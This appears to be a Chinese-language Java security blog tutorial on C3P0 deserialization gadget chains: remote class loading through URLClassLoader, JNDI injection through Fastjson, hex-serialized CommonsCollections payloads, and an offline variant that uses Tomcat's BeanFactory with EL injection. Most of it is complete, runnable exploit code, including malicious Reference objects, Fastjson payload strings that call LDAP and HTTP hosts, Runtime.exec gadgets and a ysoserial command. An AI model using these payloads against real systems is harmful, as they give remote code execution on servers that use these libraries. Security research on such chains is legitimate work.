前言
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
环境搭建
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
关于C3P0攻击链的利用方式
1、URLClassLoader远程类加载
2、JNDI注入
3、利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader
漏洞点在PoolBackedDataSourceBase
readobject
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.extensions = (Map) o;
}
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport( this );
this.vcs = new VetoableChangeSupport( this );
break;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
注意到
这里会先判断对象o是否是IndirectlySerialized
类的对象或者是其子类的对象
调用getobject
后强转换对象为ConnectionPoolDataSource
但是该接口并不能反序列化
去看下入口点writeobject
处的写法
writeobject
看下调用返回的对象
是一个ReferenceSerialized
的构造方法
举个不是很恰当的例子
ReferenceSerialized
是“加强版”的ConnectionPoolDataSource
也就是说在序列化时,实际上的类进行了转换,ConnectionPoolDataSource
->ReferenceSerialized
再回到readobject
调用的IndirectlySerialized.getobject
位于ReferenceIndirector
getObject
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
这里是对环境变量上下文进行加载
我们关注return这里ReferenceableUtils.referenceToObject
,跟进
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}
我们可以控制fClassLocation
,最后通过URLClassLoader
并初始化该实例来实现恶意代码执行
Gadget
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance
EXP
这里有个getReference
方法,直接返回一个Reference
对象
我们可以通过该方法直接构造对象
这里我们获取ConnectionPoolDataSource
类的私有属性,因为反序列化的是该类对象
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
按照getReference
方法再重写一个方法
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的connectionPoolDataSource
替换成我们本地的Calc
所以这里再通过
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); //将对象进行修改
并把它写在序列化入口,然后在反序列化
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable{
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}
calc
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
JNDI注入
JndiRefForwardingDataSource
的dereference()
方法中有look,并且jndiName
通过getJndiName()
获取,可造成JNDI注入
先看下getJnDIName
public Object getJndiName()
{ return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }
判断是否是name类型,不是则返回String类型
继续向上找可以利用的点
inner()
找到setLoginRimeout
,形参为int
型
下面就是WrapperConnectionPoolDataSource
和JndiRefConnectionPoolDataSource
的同名函数
在JndiRefConnectionPoolDataSource
,setLoginTimeout
,因为wcpds
是WrapperConnectionPoolDataSource
类下的,所以这里会调用WrapperConnectionPoolDataSource
下的同名方法
这里会调用getNestedDataSource()
对象
跟进后发现其实就是JndiRefForwardingDataSource
在下一步就知道到这里
后面就会去加载我们传入的jndiName
Gadget
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup
EXP
import com.alibaba.fastjson.JSON;
public class JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
HEX序列化
在WrapperConnectionPoolDataSource
的构造方法下
调用了C3P0ImplUtils.parseUserOverridesAsString
跟进
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}
当userOverridesAsString
不为空进入if
首先会用substring
对userOverridesAsString
进行截取,将HASM_HEADER
头和最后一位的;扣掉
而userOverridesAsString
是一个私有的常量
private final static String HASM_HEADER = "HexAsciiSerializedMap";
将十六进制转成字节数组,最后再强转为map
对象
跟进`fromByteArray
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}
最后到
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
进行反序列化
Gadget
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
SerializableUtils
EXP
这里用CC4和CC6举例
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class C3P0Hex_CC6 {
public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class C3P0Hex_CC4 {
public static PriorityQueue CC4() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
//name字段
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Atkx");
//恶意bytecode字段
Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
bytecodeFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
byte[][] codes = {code};
bytecodeFiled.set(templates,codes);
//工厂类字段
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl() {
});
//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{ Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
return priorityQueue;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC4()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}
当然也可以使用CB链或其他链子
也可以通过加载反序列化对象来执行
java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class C3P0_all {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
得到十六进制,直接去执行即可
不出网利用
当目标机器不出网,且没有fastjson相关依赖时,C3P0该如何利用?
环境
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
漏洞点位于org.apache.naming.factory.BeanFactory
只有一个方法getObjectInstance
回顾第一个链子URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行EL表达式注入
将URL链子执行的地方改成EL表达式即可,其余不用变
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0_Local {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P01.C3P0 exp = new C3P01.C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}